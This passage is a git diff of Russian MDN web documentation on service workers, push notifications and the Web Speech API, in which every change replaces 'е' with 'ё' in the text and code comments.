загрузить, используя технологию Ajax, изображения, находящиеся далее нижнего края страницы, до того как они будут показаны. В приложении также еще регистрируется, устанавливается и активируется сервис-воркер, и, в случае если браузер поддерживает спецификацию Service Worker, запрашиваемые ресурсы будут закешированы, и приложение будет работать в offline-режиме!</p> +<p>Чтобы продемонстрировать только базовые моменты регистрации и установки сервис-воркеров, мы создали простое демо-приложение, названое <a href="https://github.com/mdn/sw-test">sw-test</a>. Это простая галерея изображений "Star wars Lego". Оно использует промис-функции, чтобы прочитать из JSON-объекта и загрузить, используя технологию Ajax, изображения, находящиеся далее нижнего края страницы, до того как они будут показаны. В приложении также ещё регистрируется, устанавливается и активируется сервис-воркер, и, в случае если браузер поддерживает спецификацию Service Worker, запрашиваемые ресурсы будут закешированы, и приложение будет работать в offline-режиме!</p> <p><img alt="" src="https://mdn.mozillademos.org/files/8243/demo-screenshot.png" style="display: block; height: 410px; margin: 0px auto; width: 480px;"><br> <br> Вы можете посмотреть <a href="https://github.com/mdn/sw-test/">исходный код на GitHub</a>, а также <a href="https://mdn.github.io/sw-test/">этот живой пример</a>. Единственное, что мы тут рассмотрим, это промис (смотрите <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L22-L47">app.js строки 22-47</a>), модифицированная версия того, о котором вы читали выше в разделе <a href="https://github.com/mdn/promises-test">Тестовая демонстрация промисов</a>. Разница в следующем:</p> <ol> - <li>Ранее мы передавали параметром лишь URL изображения, которое мы хотели загрузить. Теперь же, мы передаем JSON-фрагмент, содержащий все данные для изображения (посмотрите, как это выглядит в <a href="https://github.com/mdn/sw-test/blob/gh-pages/image-list.js">image-list.js</a>). Это сделано потому, что все данные для выполнения каждого промиса должны быть переданы ему, так как он выполняется асинхронно. Если же вы передали лишь URL, а чуть позже попытались получить доступ к другим атрибутам в JSON-фрагменте внутри цикла <code>for()</code>, это бы не сработало, так как этот промис не был бы выполнен во время текущей итерации цикла (это синхронный процесс).</li> + <li>Ранее мы передавали параметром лишь URL изображения, которое мы хотели загрузить. Теперь же, мы передаём JSON-фрагмент, содержащий все данные для изображения (посмотрите, как это выглядит в <a href="https://github.com/mdn/sw-test/blob/gh-pages/image-list.js">image-list.js</a>). Это сделано потому, что все данные для выполнения каждого промиса должны быть переданы ему, так как он выполняется асинхронно. Если же вы передали лишь URL, а чуть позже попытались получить доступ к другим атрибутам в JSON-фрагменте внутри цикла <code>for()</code>, это бы не сработало, так как этот промис не был бы выполнен во время текущей итерации цикла (это синхронный процесс).</li> <li>Теперь мы выполняем промис с параметром-массивом, так как дальше мы хотим сделать загруженные данные изображения доступными для разрешающей функции, одновременно с именем файла, данными авторства и замещающим текстом (см. <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L31-L34">app.js строки 31-34</a>). Промисы будут выполняться со всего одним аргументом, поэтому, если вы хотите выполнить их с несколькими параметрами, вы должны использовать массив/объект.</li> <li>Затем, чтобы получить доступ к выполненным значениям промисов, мы обращаемся к ним так, как было задумано (смотрите <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L60-L64">app.js строки 60-64</a>). По началу это может выглядеть немного странно, но именно так и работают промисы.</li> </ol> @@ -182,7 +182,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p>Предыдущий код регистрирует сервис-воркера, который работает в worker-контексте, и следовательно, не имеет доступа к DOM. Затем вы запускаете код в сервис-воркере, вне ваших страниц, чтобы контролировать их загрузку.</p> -<p>Один сервис-воркер может контролировать несколько страниц. Каждый раз, когда загружается страница, находящаяся в пределах области видимости, сервис-воркер будет установлен на ней и начнет работу. Поэтому будьте осторожны с применением глобальных переменных в скриптах сервис-воркеров, потому как у каждой страницы нет своего уникального экземпляра сервис-воркера.</p> +<p>Один сервис-воркер может контролировать несколько страниц. Каждый раз, когда загружается страница, находящаяся в пределах области видимости, сервис-воркер будет установлен на ней и начнёт работу. Поэтому будьте осторожны с применением глобальных переменных в скриптах сервис-воркеров, потому как у каждой страницы нет своего уникального экземпляра сервис-воркера.</p> <div class="note"> <p><strong>На заметку</strong>: Сервис-воркеры функционально похожи на прокси-серверы, они позволяют модифицировать запросы и ответы, замещая записями из собственного кеша, и многое другое.</p> @@ -192,7 +192,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p><strong>На заметку</strong>: Есть одна очень хорошая особенность при работе с сервис-воркерами. В случае, если вы используете функционал проверки поддержки Service Worker, то приложение в браузерах, не имеющих поддержки, продолжат нормально работать с ожидаемым поведением. Кроме того, если браузер поддерживает только AppCache, то будет использована эта технология. В случае, если браузер поддерживает и AppCache и Service Worker, то будет использована Service Worker.</p> </div> -<h4 id="Почему_мой_сервис-воркер_не_прошел_регистрацию">Почему мой сервис-воркер не прошел регистрацию?</h4> +<h4 id="Почему_мой_сервис-воркер_не_прошёл_регистрацию">Почему мой сервис-воркер не прошёл регистрацию?</h4> <p>Это может произойти по следующим причинам:</p> @@ -222,7 +222,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p><strong>На заметку</strong>: Cache API поддерживается не всеми браузерами (смотрите раздел {{anch("Browser support")}} чтобы получить больше информации). Если вы хотите сейчас использовать эту технологию, то можете рассмотреть возможность использования полифила, который доступен в <a href="https://github.com/Polymer/topeka/blob/master/sw.js">Google's Topeka demo</a>, или можете хранить ресурсы в <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p> </div> -<p>Давайте начнем этот раздел посмотрев на фрагмент кода ниже — это <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L17">первый блок кода, который вы увидите в нашем сервис-воркере</a>:</p> +<p>Давайте начнём этот раздел посмотрев на фрагмент кода ниже — это <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L17">первый блок кода, который вы увидите в нашем сервис-воркере</a>:</p> <pre class="brush: js notranslate">self.addEventListener('install', (event) => { event.waitUntil( @@ -246,12 +246,12 @@ imgLoad('myLittleVader.jpg').then((response) => { <ol> <li>Здесь мы добавляем обработчик события <code>install</code> к сервис-воркеру (отныне <code>self</code>), и затем вызываем метод {{domxref("ExtendableEvent.waitUntil()") }} объекта события. Такая конструкция гарантирует, что сервис-воркер не будет установлен, пока код, переданный внутри <code>waitUntil()</code>, не завершится с успехом.</li> <li><span style="line-height: 1.5;">Внутри <code>waitUntil()</code> мы используем метод </span><a href="/en-US/docs/Web/API/CacheStorage/open">caches.open()</a>, чтобы создать новый кеш, который назовём <code>v1</code>, это будет первая версия кеша ресурсов. Этот метод возвращает промис для созданного кеша; когда он выполнится, у объекта созданного кеша мы вызовем метод <code>addAll()</code>, который в качестве параметра ожидает получить массив origin-относительных URL всех ресурсов, которые мы хотим хранить в кеше.</li> - <li>Если промис будет отклонен, то установка будет завершена неудачно, и воркер ничего не сделает. Это хорошо, потому как вы можете исправить свой код и затем попробовать провести регистрацию в следующий раз.</li> + <li>Если промис будет отклонён, то установка будет завершена неудачно, и воркер ничего не сделает. Это хорошо, потому как вы можете исправить свой код и затем попробовать провести регистрацию в следующий раз.</li> <li>После успешной установки сервис-воркер активируется. Этот момент не очень важен при первоначальной установке/активации сервис-воркера, в то же время он имеет большое значение, когда происходит обновление воркера (смотрите раздел {{anch("Обновление вашего сервис-воркера")}}, находящийся ниже).</li> </ol> <div class="note"> -<p><span style="font-size: 14px; line-height: 21px;"><strong>На заметку</strong></span>: <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a> работает схожим образом, но в синхронном режиме, поэтому запрещен в сервис-воркерах.</p> +<p><span style="font-size: 14px; line-height: 21px;"><strong>На заметку</strong></span>: <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a> работает схожим образом, но в синхронном режиме, поэтому запрещён в сервис-воркерах.</p> </div> <div class="note"> @@ -264,7 +264,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p><img alt="" src="https://mdn.mozillademos.org/files/12634/sw-fetch.png" style="display: block; margin: 0 auto;"></p> -<p>Событие <code>fetch</code> возникает каждый раз, когда запрашиваются любые подконтрольные сервис-воркеру ресурсы, к которым относятся документы из области видимости и другие ресурсы, связанные с этими документами (например, если в index.html происходит кросс-доменный запрос для загрузки изображения, то он тоже попадет в сервис-воркер).</p> +<p>Событие <code>fetch</code> возникает каждый раз, когда запрашиваются любые подконтрольные сервис-воркеру ресурсы, к которым относятся документы из области видимости и другие ресурсы, связанные с этими документами (например, если в index.html происходит кросс-доменный запрос для загрузки изображения, то он тоже попадёт в сервис-воркер).</p> <p>Вы можете подключить к сервис-воркеру обработчик события <code>fetch</code> и внутри него на объекте события вызвать метод <code>respondWith()</code>, чтобы заменить ответы и показать собственную "магию".</p> @@ -322,7 +322,7 @@ event.request.body</pre> <h2 id="Восстановление_неудачных_запросов">Восстановление неудачных запросов</h2> -<p>Итак, <code>caches.match(event.request)</code> отработает как нужно только в том случае, если в кеше сервис-воркера будет найдено соответствие запросу. Но что произойдет, если такого соответствия не будет найдено? Если мы не предоставим никакого механизма обработки такой ситуации, то промис выполнится со значением <code>undefined</code> и мы не получим никакого значения.</p> +<p>Итак, <code>caches.match(event.request)</code> отработает как нужно только в том случае, если в кеше сервис-воркера будет найдено соответствие запросу. Но что произойдёт, если такого соответствия не будет найдено? Если мы не предоставим никакого механизма обработки такой ситуации, то промис выполнится со значением <code>undefined</code> и мы не получим никакого значения.</p> <p>К счастью, сервис-воркеры имеют структуру основанную на промисах, что делает тривиальной такую обработку и предоставляет большое количество способов успешно обработать запрос:</p> @@ -334,9 +334,9 @@ event.request.body</pre> ); });</pre> -<p>Если промис будет отклонен, функция <code>catch()</code> вернет обычный сетевой запрос к внешнему ресурсу. Это значит, что, если сеть доступна, то ресурс просто загрузится с сервера.</p> +<p>Если промис будет отклонён, функция <code>catch()</code> вернёт обычный сетевой запрос к внешнему ресурсу. Это значит, что, если сеть доступна, то ресурс просто загрузится с сервера.</p> -<p>Если же мы были достаточно умны, то мы не стали бы просто возвращать сетевой запрос, а сохранили бы его результат в кеше, чтобы иметь возможность получить его в offline-режиме. В случае с нашим демо-приложением "Star Wars gallery", это означает, что, если в галерею будет добавлено еще одно изображение, то оно будет получено и сохранено в кеше:</p> +<p>Если же мы были достаточно умны, то мы не стали бы просто возвращать сетевой запрос, а сохранили бы его результат в кеше, чтобы иметь возможность получить его в offline-режиме. В случае с нашим демо-приложением "Star Wars gallery", это означает, что, если в галерею будет добавлено ещё одно изображение, то оно будет получено и сохранено в кеше:</p> <pre class="brush: js notranslate">self.addEventListener('fetch', (event) => { event.respondWith( @@ -351,11 +351,11 @@ event.request.body</pre> ); });</pre> -<p>Здесь мы возвращаем обычный сетевой запрос, который возвращен вызовом <code>fetch(event.request);</code> этот запрос также является промисом. Когда промис разрешится, мы получим кеш вызвав <code>caches.open('v1');</code> этот метод также возвращает промис. Когда разрешится уже второй промис, будет использован вызов <code>cache.put()</code>, чтобы поместить ресурс в кеш. Ресурс получен через <code>event.request</code>, а ответ — через клонирование <code>response.clone()</code>. Клон помещается в кеш, а оригинальный ответ передается браузеру, который передает его странице, которая запросила ресурс.</p> +<p>Здесь мы возвращаем обычный сетевой запрос, который возвращён вызовом <code>fetch(event.request);</code> этот запрос также является промисом. Когда промис разрешится, мы получим кеш вызвав <code>caches.open('v1');</code> этот метод также возвращает промис. Когда разрешится уже второй промис, будет использован вызов <code>cache.put()</code>, чтобы поместить ресурс в кеш. Ресурс получен через <code>event.request</code>, а ответ — через клонирование <code>response.clone()</code>. Клон помещается в кеш, а оригинальный ответ передаётся браузеру, который передаёт его странице, которая запросила ресурс.</p> -<p>Почему? Потому что потоки запроса и ответа могут быть прочитаны только единожды. Чтобы ответ был получен браузером и сохранен в кеше, нам нужно клонировать его. Так оригинальный объект отправится браузеру, а клон будет закеширован. Оба они будут прочитаны единожды.</p> +<p>Почему? Потому что потоки запроса и ответа могут быть прочитаны только единожды. Чтобы ответ был получен браузером и сохранён в кеше, нам нужно клонировать его. Так оригинальный объект отправится браузеру, а клон будет закеширован. Оба они будут прочитаны единожды.</p> -<p>У нас все ещё остается единственная проблема - если на какой-либо запрос в кеше не будет найдено соответствие, и в этот момент сеть не доступна, то наш запрос завершится неудачно. Давайте реализуем запасной вариант по умолчанию, при котором пользователь, в описанном случае, будет получать хоть что-нибудь:</p> +<p>У нас все ещё остаётся единственная проблема - если на какой-либо запрос в кеше не будет найдено соответствие, и в этот момент сеть не доступна, то наш запрос завершится неудачно. Давайте реализуем запасной вариант по умолчанию, при котором пользователь, в описанном случае, будет получать хоть что-нибудь:</p> <pre class="brush: js notranslate">self.addEventListener('fetch', (event) => { event.respondWith( @@ -406,7 +406,7 @@ event.request.body</pre> <h3 id="Удаление_старого_кеша">Удаление старого кеша</h3> -<p>Вы можете обрабатывать событие activate. Оно обычно используется в случае, если нужно выполнить такие действия, которые бы нарушили работу воркеров предыдущей версии, если они все еще работают со старым кешем. Также это событие полезно использовать для того, чтобы удалить ненужные данные, чтобы освободить место, занимаемое на диске, потому что каждый браузер имеет жесткие ограничения на размер хранилища кеша, которое доступно для использования сервис-воркерами.</p> +<p>Вы можете обрабатывать событие activate. Оно обычно используется в случае, если нужно выполнить такие действия, которые бы нарушили работу воркеров предыдущей версии, если они все ещё работают со старым кешем. Также это событие полезно использовать для того, чтобы удалить ненужные данные, чтобы освободить место, занимаемое на диске, потому что каждый браузер имеет жёсткие ограничения на размер хранилища кеша, которое доступно для использования сервис-воркерами.</p> <p>Promise, переданный в <code>waitUntil()</code>, заблокирует другие события до своего завершения, поэтому можно быть уверенным, что процесс очистки закончится раньше, чем выполнится первое событие <code>fetch</code> на основе нового кеша.</p> diff --git a/files/ru/web/api/serviceworker/scripturl/index.html b/files/ru/web/api/serviceworker/scripturl/index.html index c01cb6c968..a0453d4354 100644 --- a/files/ru/web/api/serviceworker/scripturl/index.html +++ b/files/ru/web/api/serviceworker/scripturl/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/ServiceWorker/scriptURL --- <div>{{APIRef("Service Workers API")}}</div> -<p>Возвращает URL, указывающий на скрипт данного Service Worker, определенный с помощью <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="ServiceWorkerRegistion is an interface object representing the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a>. URL должен находиться в том же домене, что и документ, регистрирующий <code>ServiceWorker</code>.</p> +<p>Возвращает URL, указывающий на скрипт данного Service Worker, определённый с помощью <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="ServiceWorkerRegistion is an interface object representing the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a>. URL должен находиться в том же домене, что и документ, регистрирующий <code>ServiceWorker</code>.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/serviceworkercontainer/register/index.html b/files/ru/web/api/serviceworkercontainer/register/index.html index 7fd83f836c..3c86ae2687 100644 --- a/files/ru/web/api/serviceworkercontainer/register/index.html +++ b/files/ru/web/api/serviceworkercontainer/register/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/ServiceWorkerContainer/register --- <p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p> -<p><strong><code>register()</code></strong> метод {{domxref("ServiceWorkerContainer")}} интерфейса который создает и обновляет <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="The ServiceWorkerRegistion interface of the ServiceWorker API represents the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a> для указанного <code>URL js скрипта</code>.</p> +<p><strong><code>register()</code></strong> метод {{domxref("ServiceWorkerContainer")}} интерфейса который создаёт и обновляет <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="The ServiceWorkerRegistion interface of the ServiceWorker API represents the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a> для указанного <code>URL js скрипта</code>.</p> <p>Если удачно, service worker registration связывается по указанному URL js скрипта , который соответственно используется для проверки совпадения при навигации по URL. Если метод не возвращает <code>ServiceWorkerRegistration</code>, он возвращает <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:"><code>Promise</code></a>. Есть возможность вызвать этот метод без проверки на условие, т.е. нет необходимости сначала проверять существует ли активная регистрация в данный момент или нет.</p> @@ -33,13 +33,13 @@ translation_of: Web/API/ServiceWorkerContainer/register <h2 id="Пример_использования">Пример использования</h2> -<p>Примеры кода, приведенные ниже, должны рассматриваться вместе для лучшего понимания того, как применяется scope service worker-ов к конкретной странице.</p> +<p>Примеры кода, приведённые ниже, должны рассматриваться вместе для лучшего понимания того, как применяется scope service worker-ов к конкретной странице.</p> <p>Следующий пример использует дефолтный scope (не указывая его прямо). Service worker в этом случае будет контролировать <code>example.com/index.html</code> и страницы, расположенные "глубже", например <code>example.com/product/description.html</code>.</p> <pre class="brush: js notranslate">if ('serviceWorker' in navigator) { // Регистрация service worker-а, расположенного в корне сайта - // за счет использования дефолтного scope (не указывая его) + // за счёт использования дефолтного scope (не указывая его) navigator.serviceWorker.register('/sw.js').then(function(registration) { console.log('Service worker зарегистрирован:', registration); }).catch(function(error) { @@ -50,7 +50,7 @@ translation_of: Web/API/ServiceWorkerContainer/register console.log('Текущий браузер не поддерживает service worker-ы'); }</pre> -<p>Следующий пример, если он размещен на странице корня сайта, будет применен ровно к тем же страницам, что и пример выше. Помните, scope, если он указан, использует path страницы в качестве своей базы. Это значит, что, если следующий пример будет использоваться на странице <code>example.com/product/description.html</code>, то scope <code>./</code> будет означать, что service worker работает только со страницами внутри <code>example.com/product</code>. Если необходимо зарегистрировать service worker на <code>example.com/product/description.html</code>, и вы хотите, чтобы он обслуживал и корень, <code>example.com</code>, то scope лучше не указывать совсем, как в примере выше.</p> +<p>Следующий пример, если он размещён на странице корня сайта, будет применён ровно к тем же страницам, что и пример выше. Помните, scope, если он указан, использует path страницы в качестве своей базы. Это значит, что, если следующий пример будет использоваться на странице <code>example.com/product/description.html</code>, то scope <code>./</code> будет означать, что service worker работает только со страницами внутри <code>example.com/product</code>. Если необходимо зарегистрировать service worker на <code>example.com/product/description.html</code>, и вы хотите, чтобы он обслуживал и корень, <code>example.com</code>, то scope лучше не указывать совсем, как в примере выше.</p> <pre class="brush: js notranslate">if ('serviceWorker' in navigator) { // Регистрация service worker-а, расположенного в корне сайта diff --git a/files/ru/web/api/serviceworkerregistration/pushmanager/index.html b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html index 9ef0d95a7d..cc9b0097ba 100644 --- a/files/ru/web/api/serviceworkerregistration/pushmanager/index.html +++ b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html @@ -35,7 +35,7 @@ navigator.serviceWorker.register('serviceworker.js').then( // при помощи XMLHttpRequest. }, function(error) { // При разработке это часто помогает отлавливать ошибки в консоли. - // В продакшен-среде это также может быть полезно для отправки отчета + // В продакшен-среде это также может быть полезно для отправки отчёта // об ошибках на сервер приложения. console.log(error); } diff --git a/files/ru/web/api/serviceworkerregistration/shownotification/index.html b/files/ru/web/api/serviceworkerregistration/shownotification/index.html index fdcd0943fc..1be41dab02 100644 --- a/files/ru/web/api/serviceworkerregistration/shownotification/index.html +++ b/files/ru/web/api/serviceworkerregistration/shownotification/index.html @@ -43,7 +43,7 @@ translation_of: Web/API/ServiceWorkerRegistration/showNotification <li><code>renotify</code>: A boolean that indicates whether to supress vibrations and audible alerts when resusing a <code>tag</code> value. The default is false.</li> <li><code>requireInteraction</code>: Indicates that on devices with sufficiently large screens, a notification should remain active until the user clicks or dismisses it. If this value is absent or false, the desktop version of Chrome will auto-minimize notifications after approximately twenty seconds. The default value is <code>false</code>.</li> <li><code>tag</code>: An ID for a given notification that allows you to find, replace, or remove the notification using script if necessary.</li> - <li><code>vibrate</code>: Шаблон вибрации, которая будет воспроизведена вместе с уведомлением. Шаблон может быть массивом из как минимум одного элемента. Значения элементов это время в миллисекундах, при этом четные элементы (0, 2, 4, и т.д.) отражают периоды вибрации, а нечетные периоды пауз. Например, <code>[300, 100, 400]</code> будет означать вибрацию 300ms, паузу 100ms, затем вибрацию 400ms.</li> + <li><code>vibrate</code>: Шаблон вибрации, которая будет воспроизведена вместе с уведомлением. Шаблон может быть массивом из как минимум одного элемента. Значения элементов это время в миллисекундах, при этом чётные элементы (0, 2, 4, и т.д.) отражают периоды вибрации, а нечётные периоды пауз. Например, <code>[300, 100, 400]</code> будет означать вибрацию 300ms, паузу 100ms, затем вибрацию 400ms.</li> <li><code>data</code>: Arbitrary data that you want associated with the notification. This can be of any data type.</li> </ul> </dd> diff --git a/files/ru/web/api/serviceworkerstate/index.html b/files/ru/web/api/serviceworkerstate/index.html index a1702d28b1..9185341f54 100644 --- a/files/ru/web/api/serviceworkerstate/index.html +++ b/files/ru/web/api/serviceworkerstate/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/ServiceWorkerState <dt><code>installed</code></dt> <dd>Service worker находится в состоянии ожидания и будет активирован после закрытия всех страниц его источника, использующих предыдущую версию service worker'а.</dd> <dt><code>activating</code></dt> - <dd>Service worker в данном состоянии считается активным. В этом состоянии, метод {{DOMxRef("ExtendableEvent.waitUntil()")}} может быть вызван в обработчике события <code>onactivate</code> для продления этапа активации до успешного завершения переданного промиса. Service worker не начнет обрабатывать события до перехода в состояние <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">activated</span></font>.</dd> + <dd>Service worker в данном состоянии считается активным. В этом состоянии, метод {{DOMxRef("ExtendableEvent.waitUntil()")}} может быть вызван в обработчике события <code>onactivate</code> для продления этапа активации до успешного завершения переданного промиса. Service worker не начнёт обрабатывать события до перехода в состояние <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">activated</span></font>.</dd> <dt><code>activated</code></dt> <dd>Service worker в данном состоянии активен и готов обрабатывать события.</dd> <dt><code>redundant</code></dt> diff --git a/files/ru/web/api/sharedworker/index.html b/files/ru/web/api/sharedworker/index.html index 7e2b91c3c7..a50a9664a3 100644 --- a/files/ru/web/api/sharedworker/index.html +++ b/files/ru/web/api/sharedworker/index.html @@ -30,7 +30,7 @@ translation_of: Web/API/SharedWorker <dl> <dt>{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}</dt> - <dd>Создает разделяемый веб воркер, который выполняет скрипт по указанному URL.</dd> + <dd>Создаёт разделяемый веб воркер, который выполняет скрипт по указанному URL.</dd> </dl> <h2 id="Методы">Методы</h2> diff --git a/files/ru/web/api/speechgrammar/index.html b/files/ru/web/api/speechgrammar/index.html index d4f5246027..1731b109f3 100644 --- a/files/ru/web/api/speechgrammar/index.html +++ b/files/ru/web/api/speechgrammar/index.html @@ -21,7 +21,7 @@ translation_of: Web/API/SpeechGrammar <dl> <dt>{{domxref("SpeechGrammar.SpeechGrammar()")}}</dt> - <dd>Создает новый объект <code>SpeechGrammar</code> .</dd> + <dd>Создаёт новый объект <code>SpeechGrammar</code> .</dd> </dl> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/speechrecognition/index.html b/files/ru/web/api/speechrecognition/index.html index 8331ae2e91..f7939e84d2 100644 --- a/files/ru/web/api/speechrecognition/index.html +++ b/files/ru/web/api/speechrecognition/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/SpeechRecognition <dl> <dt>{{domxref("SpeechRecognition.SpeechRecognition()")}}</dt> - <dd>Создает новый <font face="consolas, Liberation Mono, courier, monospace">объект </font><code>SpeechRecognition</code> .</dd> + <dd>Создаёт новый <font face="consolas, Liberation Mono, courier, monospace">объект </font><code>SpeechRecognition</code> .</dd> </dl> <h2 id="Свойства">Свойства</h2> @@ -22,11 +22,11 @@ translation_of: Web/API/SpeechRecognition <dt>{{domxref("SpeechRecognition.grammars")}}</dt> <dd>Возвращает и устанавливает коллекцию объектов {{domxref("SpeechGrammar")}} грамматики которые будут понятны текущему <code>SpeechRecognition</code>.</dd> <dt>{{domxref("SpeechRecognition.lang")}}</dt> - <dd>Задает и возвращает язык текущего <code>SpeechRecognition</code>. Если данное свойство не указано по умолчанию, то используется из HTML кода значение атрибута {{htmlattrxref("lang","html")}} , или настройки языка агента текущего пользователя.</dd> + <dd>Задаёт и возвращает язык текущего <code>SpeechRecognition</code>. Если данное свойство не указано по умолчанию, то используется из HTML кода значение атрибута {{htmlattrxref("lang","html")}} , или настройки языка агента текущего пользователя.</dd> <dt>{{domxref("SpeechRecognition.continuous")}}</dt> <dd>Проверяет возвращается ли непрерывные результаты или вернулся только один. По умолчанию для одиночного значение (<code>false</code>.)</dd> <dt>{{domxref("SpeechRecognition.interimResults")}}</dt> - <dd>Контроллирует, следует ли возвращать промежуточные результаты (<code>true</code>) или нет (<code>false</code>.) Промежуточные результаты это результаты которые еще не завершены ( например {{domxref("SpeechRecognitionResult.isFinal")}} свойство <font face="consolas, Liberation Mono, courier, monospace">ложно</font>.)</dd> + <dd>Контроллирует, следует ли возвращать промежуточные результаты (<code>true</code>) или нет (<code>false</code>.) Промежуточные результаты это результаты которые ещё не завершены ( например {{domxref("SpeechRecognitionResult.isFinal")}} свойство <font face="consolas, Liberation Mono, courier, monospace">ложно</font>.)</dd> <dt>{{domxref("SpeechRecognition.maxAlternatives")}}</dt> <dd>Устанавливает максимальное количество предоставленных результатов {{domxref("SpeechRecognitionAlternative")}}. По умолчанию значение 1.</dd> <dt>{{domxref("SpeechRecognition.serviceURI")}}</dt> @@ -45,7 +45,7 @@ translation_of: Web/API/SpeechRecognition <dt>{{domxref("SpeechRecognition.onerror")}}</dt> <dd>Вызывается когда произошла ошибка распознавания речи.</dd> <dt>{{domxref("SpeechRecognition.onnomatch")}}</dt> - <dd>Вызывается, когда служба распознавания речи возвращает окончательный результат без существенного распознавания. Это может включать определенную степень признания {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} которая не соответствует пороговому значению или превышает его.</dd> + <dd>Вызывается, когда служба распознавания речи возвращает окончательный результат без существенного распознавания. Это может включать определённую степень признания {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} которая не соответствует пороговому значению или превышает его.</dd> <dt>{{domxref("SpeechRecognition.onresult")}}</dt> <dd>Вызывается когда возвращает результат — слово или фраза были распознаны положительно, и это было передано обратно в приложение.</dd> <dt>{{domxref("SpeechRecognition.onsoundstart")}}</dt> @@ -75,9 +75,9 @@ translation_of: Web/API/SpeechRecognition <h2 id="Примеры">Примеры</h2> -<p>В нашем простом примере <a href="https://github.com/mdn/web-speech-api/tree/master/speech-color-changer">Speech color changer</a> , мы создаем новый объект экземпляра <code>SpeechRecognition</code> используя этот конструктор {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} , создание нового {{domxref("SpeechGrammarList")}}, И установить его в качестве грамматики, которая будет распознаваться экземпляром распознавание речи с использованием свойства {{domxref("SpeechRecognition.grammars")}}.</p> +<p>В нашем простом примере <a href="https://github.com/mdn/web-speech-api/tree/master/speech-color-changer">Speech color changer</a> , мы создаём новый объект экземпляра <code>SpeechRecognition</code> используя этот конструктор {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} , создание нового {{domxref("SpeechGrammarList")}}, И установить его в качестве грамматики, которая будет распознаваться экземпляром распознавание речи с использованием свойства {{domxref("SpeechRecognition.grammars")}}.</p> -<p>После определения некоторых других значений мы затем устанавливаем их так, чтобы служба распознавания началась когда произошло событие по клику ( {{domxref("SpeechRecognition.start()")}}.) Когда результат был успешно распознан, the {{domxref("SpeechRecognition.onresult")}} обработчик извлекаем цвет, который был произнесен из события, а затем меняем цвет фона на данный цвет {{htmlelement("html")}}.</p> +<p>После определения некоторых других значений мы затем устанавливаем их так, чтобы служба распознавания началась когда произошло событие по клику ( {{domxref("SpeechRecognition.start()")}}.) Когда результат был успешно распознан, the {{domxref("SpeechRecognition.onresult")}} обработчик извлекаем цвет, который был произнесён из события, а затем меняем цвет фона на данный цвет {{htmlelement("html")}}.</p> <pre class="brush: js">var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new SpeechRecognition(); @@ -199,7 +199,7 @@ recognition.onresult = function(event) { <h3 id="Firefox_OS_разрешения">Firefox OS разрешения</h3> -<p>Чтобы использовать распознавание речи в приложении, вам необходимо указать следующие разрешения в своем <a href="/en-US/docs/Web/Apps/Build/Manifest">manifest</a>:</p> +<p>Чтобы использовать распознавание речи в приложении, вам необходимо указать следующие разрешения в своём <a href="/en-US/docs/Web/Apps/Build/Manifest">manifest</a>:</p> <pre class="brush: json">"permissions": { "audio-capture" : { diff --git a/files/ru/web/api/speechsynthesisutterance/index.html b/files/ru/web/api/speechsynthesisutterance/index.html index 94c0d175d6..750e34d8f5 100644 --- a/files/ru/web/api/speechsynthesisutterance/index.html +++ b/files/ru/web/api/speechsynthesisutterance/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/SpeechSynthesisUtterance <h2 id="Свойства">Свойства</h2> -<p><em><code>SpeechSynthesisUtterance</code> еще наследует свойства из его своего родительского интерфейса {{domxref("EventTarget")}}.</em></p> +<p><em><code>SpeechSynthesisUtterance</code> ещё наследует свойства из его своего родительского интерфейса {{domxref("EventTarget")}}.</em></p> <dl> <dt>{{domxref("SpeechSynthesisUtterance.lang")}}</dt> @@ -37,13 +37,13 @@ translation_of: Web/API/SpeechSynthesisUtterance <dl> 